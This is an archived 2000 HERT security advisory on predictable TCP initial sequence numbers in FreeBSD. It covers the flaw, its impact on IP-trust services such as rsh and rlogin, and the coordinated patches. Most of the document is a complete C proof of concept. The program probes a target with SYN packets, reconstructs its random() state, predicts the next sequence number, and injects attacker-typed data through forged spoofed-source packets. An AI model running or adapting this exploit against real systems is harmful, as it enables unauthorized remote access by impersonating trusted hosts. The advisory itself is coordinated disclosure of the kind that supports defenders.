never stop questioning

hert.0003.freebsd.isn

hert.0003.freebsd.isn
Posted Oct 7, 2000
Authored by Hacker Emergency Response Team | Site hert.org

HERT Advisory #3 - The way FreeBSD handles random sequence number incrementing is weak. With 3 consecutive random increments captured from the responses of 4 SYN packets sent to the target, an attacker can rebuild the random state of the remote machine, and predict the next sequence number. Includes proof of concept code.

tags | remote, proof of concept
systems | freebsd
MD5 | 20474d64094f221403303da1368bc9aa

hert.0003.freebsd.isn

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


- - ---------------------------------------------------------------
HERT - Hacker Emergency Response Team
alert@hert.org - http://hert.org

Advisory: #00003
Title: FreeBSD IP Spoofing
Date: 1st October 2000
Summary: IP Spoofing Sequence number prediction
IMPACT: Remote access via services using IP based auth

Authors: Pascal Bouchareine - Kalou <pb@hert.org>
Paul Spiby <ps@hert.org>
Test Exploit: Pascal Bouchareine Kalou <pb@hert.org>

- - ---------------------------------------------------------------

Copyright (C) 2000 Hacker Emergency Response Team
Copyright (C) 2000 Pascal Bouchareine <pb@hert.org>

Permission is granted to reproduce and distribute HERT advisories in their
entirety, provided credits is awarded to its author and to HERT and
republished with the intent of increasing the awareness of the Internet
community.

This advisory and test code is part of our research and development.
They are not production tools for either attack or defense within an
information warfare setting. Rather, they are just demonstrating proof
of concept.

The HERT PGP public key is available at ftp://ftp.hert.org/pub/HERT_PGP.key

To subscribe to the HERT Alert mailing list, email alert@hert.org with
subscribe in the body of the message.


1. Vulnerability description

Weak random() in FreeBSD's TCP stack allows "spoof" [1] attacks.

2. Background

The way FreeBSD handles random sequence number incrementing is weak.
With 3 consecutive random increments captured from the responses of 4 SYN
packets sent to the target, an attacker can rebuild the random state of the
remote machine. This information can then be used to predict the next
random increments the remote machine will make.

3. Distributions known to be affected

At least FreeBSD 5.x, 4.1-RELEASE, 4.0-RELEASE, 3.5-STABLE.

4. Details

The pseudo-random function called is a linear congruent generator [2]
where the (N+1)th value is calculated from the Nth by :

x[n + 1] = (7^5 * x[n]) mod (2^31 - 1)

The random incrementation of the ISS is done by adding :

122 * 1024 + ((random() >> 14) & 0x3ffff)

This incrementation is done for each connection request and at
500ms intervals by the kernel. Unfortunately, it is likely to be done
consecutively if an attacker is fast enough. Then, guessing the remote
random() state just takes (65535 * 3) tests for the attacker to
synchronize. Once done, the attacker may generate the same sequence
numbers as the remote system does, and successfully achieve a spoof
attack [1] (see example below).

5. Impact

Any program that blindly trusts a remote IP address and doesn't
provide strong (key/challenge) authentication may allow an attacker to
send arbitrary data to the machine (eg. rcmd family [ rlogind, rshd ],
some backup software, etc.) while masquerading as a trusted host;
therefore gaining access to the remote system.

6. Recommendations

These random number generators are not suited for security
purposes [2]. You may want to patch /sys/netinet/tcp_seq.h and use
arc4_random() instead of random() to generate the ISS incrementation.
This random stream derived from rc4 is strong enough to prevent this
type of attack, when using at least 32 bytes of switching cells, no less.
Randomness may be added by using the keyboard, mouse, network "entropy"
at a short enough frequency (seconds, minutes).

Never trust IP addresses in computer applications. If you have to,
be sure to use a secured protocol, with strong key exchange, such as ssh.

7. Official fix:

This advisory has been released in co-ordination with the FreeBSD
team who have now fixed FreeBSD 5.x (-CURRENT), 4.x and 3.x.
The patch files can be obtained from the following URLs:

For 3.x:
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss-3.x.patch
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss-3.x.patch.asc

For 4.x:
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss.patch
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss.patch.asc

8. Documentation

[1]
Bellovin and Robert T. Morris about IP spoofing :

ftp://ftp.research.att.com/dist/internet_security/117.ps.Z
ftp://ftp.research.att.com/dist/internet_security/ipext.ps.Z

[2]
An excellent paper about random and security by Eastlake, Crocker
& Schiller :

ftp://ftp.funet.fi/rfc/rfc1750.txt

9. General Information

To report a vulnerability: http://www.hert.org/vul_reporting_form

HERT stands for Hacker Emergency Response Team.

HERT is a pool of hackers and security consultants from many different
countries and a launchpad for new computer security projects.

We focus on research and prevention; not enforcement and repression.

If you wish to join the HERT effort please send a note to hert@hert.org.

Contact hert@hert.org for more information.


10. Demonstration code

/* Sample example of remote sequence number prediction.
**
** FreeBSD { 4.1-Rel, 4.0-Rel, 3.5-Stable, ... }
**
** This exploit is part of the research and development effort conducted by
** HERT. It is not a production tool for either attack or defense
** within an information warfare setting. Rather, it is a small
** program demonstrating proof of concept.
**
** If you are not the intended recipient, or a person responsible for
** delivering it to the intended recipient, you are not authorised to and
** must not disclose, copy, distribute, or retain this message or any
** part of it. Such unauthorised use may be unlawful. If you have
** received this transmission in error, please email us immediately at
** hert@hert.org so that we can arrange for its return.
**
**
** Concept:
**
** 1) Attacker sends 4 SYN (with her IP address) and 1 with the spoofed
** address.
**
** 2) Victim answers with 5 SYN/ACK, *very close in time*
**
** Attacker calculates the 3 random increments that were given.
** Since FreeBSD adds randomness to it's ISS two times a second,
** this is hopefully avoided during this process.
**
** 3) Attacker takes his pocket calculator, calculates a "replay" and
** guesses the 4th increment. She manually enters the 5th seq at her
** keyboard, drinks a coffee, and sends a forged ACK with the good
** seq/ack to victim.
** She's done.
**
** You still have to find something for the trusted host to shut up.
** This is clearly not the biggest problem.
**
** You may want to adjust precision from 4 SYNs to more or less, regarding
** your ping with target (150ms is good). More is useless until you have
** two possible matches. Less is usefull to have a 1/2 luck rate if you have
** a really bad connection. A 486 dx/33 was used to test this on a 56k modem
** with 4 syns and it was just fine.
**
** Pascal Bouchareine [ kalou <pb@hert.org> ]
**
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

#define ISS_INCR (122*1024)
#define TCP_RANDOM18(n, lr) (guess_next(n, lr) >> 14 & 0x3ffff)

#define INTOA(x) inet_ntoa( (struct in_addr) { x } )

#ifdef linux
#define ip_sum ip_csum
#endif

struct spoof {
unsigned int myaddr;
unsigned int src;
unsigned int dst;
unsigned short sport;
unsigned short dport;
};

/*
** This simulates freebsd's rand(), and gives the (time)th next random number,
** regarding the previous one (r).
*/

inline unsigned int guess_next(int times, unsigned int r)
{
register unsigned int myr;
register int t, hi, lo;
int i;

myr = r;
for (i = 0; i < times; i++) {
hi = myr / 127773;
lo = myr % 127773;
t = 16807 * lo - 2836 * hi;
if (t <= 0)
t += 0x7fffffff;
myr = t;
}
return myr;
}

/*
** Calculates the next sequence.
** With 4 seqs, you often have an unique solution. (always ?)
**
*/

inline unsigned int init_iss(unsigned int seq[], int nseq)
{
unsigned int tcp_iss;
register unsigned int try;
int i, res;

if (nseq < 2) {
return -1;
}

tcp_iss = seq[nseq - 1];

for (try = (((seq[1] - seq[0]) << 2) - ISS_INCR) << 14;
try < (((((seq[1] - seq[0]) << 2) - ISS_INCR) << 14) + 0xffff); try++) {

for (i = 1, res = 0; i < (nseq - 1); i++) {
if ( ((ISS_INCR + TCP_RANDOM18(i, try)) >> 2) ==
(seq[i + 1] - seq[i]) ) {
res++;
} else {
if (res) res--;
break;
}
}
if (res)
{

/* There, each random increment matched. We assume
** the last rand is good to compute the next one.
*/

tcp_iss += ( (ISS_INCR + TCP_RANDOM18(i, try)) >> 2 );

fprintf(stderr, "[init_iss]\t found (precision %d)\n", res);
fprintf(stderr, "[init_iss]\t last seq ws %u\n", seq[i]);
fprintf(stderr, "[init_iss]\t next seq is %u\n", tcp_iss);

return tcp_iss;
}

}
fprintf(stderr, "[init_iss]\t failed to find iss.\n");
return 0;
}

int raw_sock(int proto)
{
int true = 1;
int s;

s = socket(AF_INET, SOCK_RAW, proto);
if (s > 0) {
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &true, sizeof(true))) {
perror("setsockopt");
return -1;
}
} else {
perror("raw_sock");
return -1;
}

return s;
}

/*
** Well i guess this is ripped from somewhere..
*/

unsigned int host_lookup(char *h)
{
struct in_addr a;
struct hostent *he;

if ( (a.s_addr = inet_addr(h)) == -1 ) {
if ( (he = gethostbyname(h)) == NULL ) {
perror("lookup");
return -1; /* 255.255.255.255... */
}

bcopy(he->h_addr, (char *) &a.s_addr, he->h_length);
}

return a.s_addr;
}

/* The copy'n pasted one works so well. */

unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;

while (nleft > 1) {
sum += *w++;
nleft -= 2;
}

if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}

sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}

int send_tcp(int s,
unsigned int src,
unsigned int dst,
unsigned char flg,
unsigned short sport,
unsigned short dport,
unsigned int seq,
unsigned int ack,
char *data,
int dlen)
{
unsigned char pkt[1024];
struct ip *ip;
struct tcphdr *tcp;
struct sockaddr_in sa;

static int ip_id = 0;
struct pseudo {
unsigned int s;
unsigned int d;
char n;
char p;
unsigned short l;
} pseudo;

if (!ip_id) {
ip_id = htons(rand() % getpid());
}

ip = (struct ip *) pkt;
tcp = (struct tcphdr *) (pkt + sizeof(struct ip));

pseudo.s = src;
pseudo.d = dst;
pseudo.n = 0;
pseudo.p = IPPROTO_TCP;
pseudo.l = htons(sizeof(struct tcphdr) + dlen);

tcp->th_sport = htons(sport);
tcp->th_dport = htons(dport);
tcp->th_seq = htonl(seq);
tcp->th_ack = htonl(ack);
tcp->th_off = 5;
tcp->th_flags = flg;
tcp->th_win = htons(16384);
tcp->th_urp = 0;
tcp->th_sum = 0;

memmove(((char *) tcp) + sizeof(struct tcphdr),
data, dlen); /* baom. 1024 */

memmove(((char *) tcp) - sizeof(struct pseudo),
(char *) &pseudo, sizeof(struct pseudo));

tcp->th_sum = in_cksum(((char *) tcp) - sizeof(struct pseudo),
sizeof(struct pseudo) +
sizeof(struct tcphdr) + dlen);

ip->ip_v = 4;
ip->ip_hl = 5;
ip->ip_tos = 0;
ip->ip_len = htons(sizeof(struct tcphdr) + sizeof(struct ip) + dlen);
ip->ip_id = ip_id++;
ip->ip_off = htons(0);
ip->ip_ttl = 64;
ip->ip_p = IPPROTO_TCP;
ip->ip_sum = 0;

ip->ip_src.s_addr = src;
ip->ip_dst.s_addr = dst;

// ip->ip_sum = in_cksum(pkt, sizeof(struct ip)
// + sizeof(struct tcphdr) + dlen);

ip->ip_sum = 0;

sa.sin_family = AF_INET;
sa.sin_addr.s_addr = dst;
sa.sin_port = 0;

if (sendto(s, pkt, sizeof(struct ip) + sizeof(struct tcphdr) + dlen,
0, (struct sockaddr *) &sa, sizeof(sa)) < 0) {

perror("sendto");
return -1;
}

return 0;
}

int get_acks(int s, int n, unsigned int *seq,
unsigned int src_addr,
unsigned short src_port)
{
struct sockaddr_in from;
int fromlen;
char buf[512];
int nr = n;
int len;

struct tcphdr *tcp;
struct ip *ip;

while(nr) {
fromlen = sizeof(from);
if (recvfrom(s, buf, 512, 0, (struct sockaddr *) &from, &fromlen) > 0) {

ip = (struct ip *) buf;

if (ip->ip_src.s_addr == src_addr) {

len = ip->ip_hl << 2;
tcp = (struct tcphdr *) (buf + len);

if (tcp->th_sport == src_port) {
fprintf(stderr, "[get_acks]\t got %lu\n", ntohl(tcp->th_seq));
seq[n - nr--] = ntohl(tcp->th_seq);
}

}

} else {
perror("recvfrom");
return -1;
}
}

return nr;
}

unsigned int send_init_flow(int s,
unsigned int src,
unsigned int dst,
unsigned int spoofer,
unsigned short sport,
unsigned short dport,
int nseq)
{
unsigned int seq;
unsigned int ssport = sport;

int i, err;

seq = rand();

err = 0;

for (i = 0; i < nseq; i++) {
err += send_tcp(s, src, dst, TH_SYN, ssport++, dport,
seq++, 0, "", 0);
}

err += send_tcp(s, spoofer, dst, TH_SYN, sport, dport,
seq, 0, "", 0);

if (err)
return -1;

return seq;
}

void spoof_loop(int s,
unsigned int src,
unsigned int dst,
unsigned short sport,
unsigned short dport,
unsigned int oseq,
unsigned int oack)
{
char buf[512];
char *p;
unsigned int seq = oseq + 1; /* since remote inc'ed us in syn/ack */
unsigned int ack = oack + 1; /* since we must inc remote in ack */
int i;

/* Our syn/ack is on its way.
Better wait a little. */

usleep(2800);
send_tcp(s, src, dst, TH_ACK, sport, dport,
seq, ack, "", 0);

while(read(0, buf, 512)) {
if ( (p = strchr(buf, '\r')) ||
(p = strchr(buf, '\n')) ) {
*p = '\0';
}

fprintf(stderr, "[send]\t %s\n", buf);
strcat(buf, "\r\n");
send_tcp(s, src, dst, TH_ACK|TH_PUSH, sport, dport,
seq, ack, buf, strlen(buf));

seq += strlen(buf);
memset(buf, '\0', sizeof(buf));
}

send_tcp(s, src, dst, TH_RST, sport, dport,
seq, ack, buf, strlen(buf));
}


int spoof(struct spoof s, int p)
{
int ss, rs;
unsigned int seqs[4];
unsigned int seq, ack;

rs = raw_sock(IPPROTO_TCP);
ss = raw_sock(IPPROTO_RAW);
if ((ss < 0) || (rs < 0)) {
perror("raw socket");
return -1;
}

fprintf(stderr, "[main]\t\t probing %s.\n", INTOA(s.dst));
fprintf(stderr, "[main]\t\t source %s.\n", INTOA(s.myaddr));

seq = send_init_flow(ss, s.myaddr,
s.dst, s.src, s.sport, s.dport, p);

if (seq > 0) {
fprintf(stderr, "[main]\t\t our seq is %u\n", seq);

if (get_acks(rs, 4, seqs, s.dst, htons(s.dport)) == 0) {
ack = init_iss(seqs, 4);
fprintf(stderr, "[main]\t\t using %u+1/%u+1 as %s.\n", seq, ack,
INTOA(s.src));

if (ack > 0) {
usleep(2000);
spoof_loop(ss, s.src,
s.dst, s.sport, s.dport, seq, ack);
} else {
return -3;
}

} else { /* get_acks */
return -2;
}

} /* seq < 0 */

return -1;
}

void usage(char *p)
{
fprintf(stderr, "Usage: %s..\n"
"\n\t<-m (my address)>\n"
"\t<-s (spoofed host)>\n"
"\t<-d (destination)>\n"
"\t<-p (dest port)>\n"
"\t[-S (source port):rand]\n"
"\t[-P precision:4]\n\n", p);
exit(1);
}

int main(int argc, char **argv)
{
int precision;
unsigned int hostaddr;
struct spoof s;
char c;

srand(getpid());

s.myaddr = 0;
s.src = 0;
s.dst = 0;
s.dport = 0;
s.sport = getpid();

precision = 4;

while ((c = getopt(argc, argv, "m:s:d:p:S:P:")) != EOF) {
switch(c) {
case 'm':
case 's':
case 'd':
hostaddr = host_lookup(optarg);

if (hostaddr == -1) {
fprintf(stderr, "%s: unknown host.\n", optarg);
exit(1);
}

switch(c) {
case 'm':
s.myaddr = hostaddr;
break;
case 's':
s.src = hostaddr;
break;
case 'd':
s.dst = hostaddr;
break;
}

break;
case 'S':
s.sport = atoi(optarg);
break;
case 'p':
s.dport = atoi(optarg);
break;
case 'P':
precision = atoi(optarg);
break;
}
}

if ((!s.myaddr) ||
(!s.src) ||
(!s.dst) ||
(!s.dport)) {
usage(argv[0]);
}

return spoof(s, precision);
}
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.1 (FreeBSD)
Comment: For info see http://www.gnupg.org

iD8DBQE5267PUyyzsJj2xHMRAiGNAKCkKGxCmDryGdJbzw+7IqA5qJGUIgCgqFT2
IqFFgcLXGINv3l+K4LBKcU8=
=D5/J
-----END PGP SIGNATURE-----

--oyUTqETQ0mS9luUI--

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close